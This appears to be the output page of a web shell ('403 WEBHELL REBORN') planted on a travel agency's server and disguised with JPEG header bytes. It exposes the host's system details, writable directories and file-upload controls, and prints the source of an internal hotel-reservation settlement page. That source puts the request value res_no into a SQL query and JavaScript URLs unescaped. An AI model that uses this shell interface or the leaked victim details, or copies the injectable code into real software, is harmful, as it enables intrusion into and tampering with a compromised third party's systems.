ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/cal_hotel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/cal_hotel/hotel_cal_res.html
<?
include "../include/top_iframe.html";

$class_HotelReserv = new HotelReserv();
$class_AccountCustomer = new AccountCustomer();

// 예약 정보
$data = $class_HotelReserv->res_hotel_master(" and res_no='{$res_no}' ");
$row = $data[0];

// 정산정보
$acc_data = $class_AccountCustomer->acc_hotel_date($res_no);
?>
<div class="iframe ma0">
	<div class="popbox">
	<!-- 본문 -->
	
	<div class="title">예약정보</div>
		<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
				<tr>
					<th>예약번호</th>
					<th>호텔명</th>
					<th>룸타입</th>
					<th>입실일</th>
					<th>퇴실일</th>
					<th>예약자명</th>
					<th>담당자</th>
					<th>입금액</th>
				</tr>
				<tr>
					<td><?=$row['res_no']?></td>
					<td><?=$row['hnm']?></td>
					<td><?=$row['rnm']?></td>
					<td><?=$row['room_date']?></td>
					<td><?=$row['room_date_out']?></td>
					<td><?=$row['res_cust_nm']?></td>
					<td><?=$row['admin_nm']?></td>
					<td><?=number_format($row['price_total'])?></td>
				</tr>
				<tr>
					<th style="text-align:right;padding-right:10px;">판매액</th>
					<td style="font-weight:bold;color:red;" colspan="10"><?=number_format($row['price_total'])?></td>
				</tr>
		</table>
	
	<div style="width:100%;height:30px;"></div>

	<div class="title">정산정보</div>
	<div class="p_rel">
		<span class="btn_area2">
			<input class="Table_btn gray" onclick="to_dialog.ajax('hotel_cal_reg.html?res_no=<?=$res_no?>','정산기장','600','400',true,true);" type="button" value="정산 기장">
		</span>
	</div>

		<table width="100%" border="0" cellspacing="0" cellpadding="0" class="setting_write">
				<tr>
					<th width="20">No.</th>
					<th>거래처</th>
					<th>거래발생일</th>
					<th>수익항목</th>
					<th>수익액</th>
					<th>비용항목</th>
					<th>비용액</th>
					<th>출금</th>
					<!-- <th>처리사원</th>
					<th>담당사원</th>
					<th width="120">처리일시</th> -->
					<th width="40">-</th>
				</tr>
				<?
					for($i=0 ; $i<count($acc_data['list']) ; $i++)
					{
						$num = count($acc_data['list']) - $i;
						$row = $acc_data['list'][$i];
				?>
				<tr>
					<td><?=$num?></td>
					<td><?=$row['agent_nm']?></td>
					<td><?=$row['acc_dt']?></td>
					<td><?=$row['revn_nm']?></td>
					<td><?=number_format($row['revn_price'])?></td>
					<td><?=$row['exes_nm']?></td>
					<td><?=number_format($row['exes_price'])?></td>
					<td><?=$row['avnk_nm']?> <?=$row['avnk_number']?> <?=$row['avnk_owner']?></td>
					<!-- <td><?=$row['ins_nm']?></td>
					<td><?=$row['admin_nm']?></td>
					<td><?=$row['ins_dt']?></td>-->
					<td><img src="../image/btn/icon_write.gif" style="cursor:pointer;" onclick="to_dialog.ajax('hotel_cal_reg.html?res_no=<?=$res_no?>&seq=<?=$row['seq']?>','정산수정','450','400',true,true);" > <img src="../image/btn/icon_del.gif" style="cursor:pointer;" onclick="if(!confirm('정말 삭제하시겠습니까?'))return;ajax_loader('../calculate/hotel_cal_proc.html?SqlType=date_cal_dele&res_no=<?=$res_no?>&seq=<?=$row['seq']?>');"></td>
				</tr>
				<?
					}
				?>
				<tr>
					<td colspan="4" style="text-align:center;">계</td>
					<td style="font-weight:bold;color:red;"><?=number_format($acc_data['calu']['revn_tot'])?></td>
					<td></td>
					<td colspan="6" style="font-weight:bold;color:red;"><?=number_format($acc_data['calu']['exes_tot'])?></td>
				</tr>
				<tr>
					<th colspan="2">수수료수익</th>
					<td style="font-weight:bold;color:red;" colspan="10"><?=number_format($acc_data['calu']['comm_tot'])?></td>
				</tr>
				<tr>
					<th colspan="2">총수익</th>
					<td style="font-weight:bold;color:red;" colspan="10"><?=number_format($acc_data['calu']['incom_tot'])?></td>
				</tr>
		</table>
	
	<!-- /본문 -->
	</div>
</div>
<?
include "../include/footer_iframe.html";
?>

Anon7 - 2021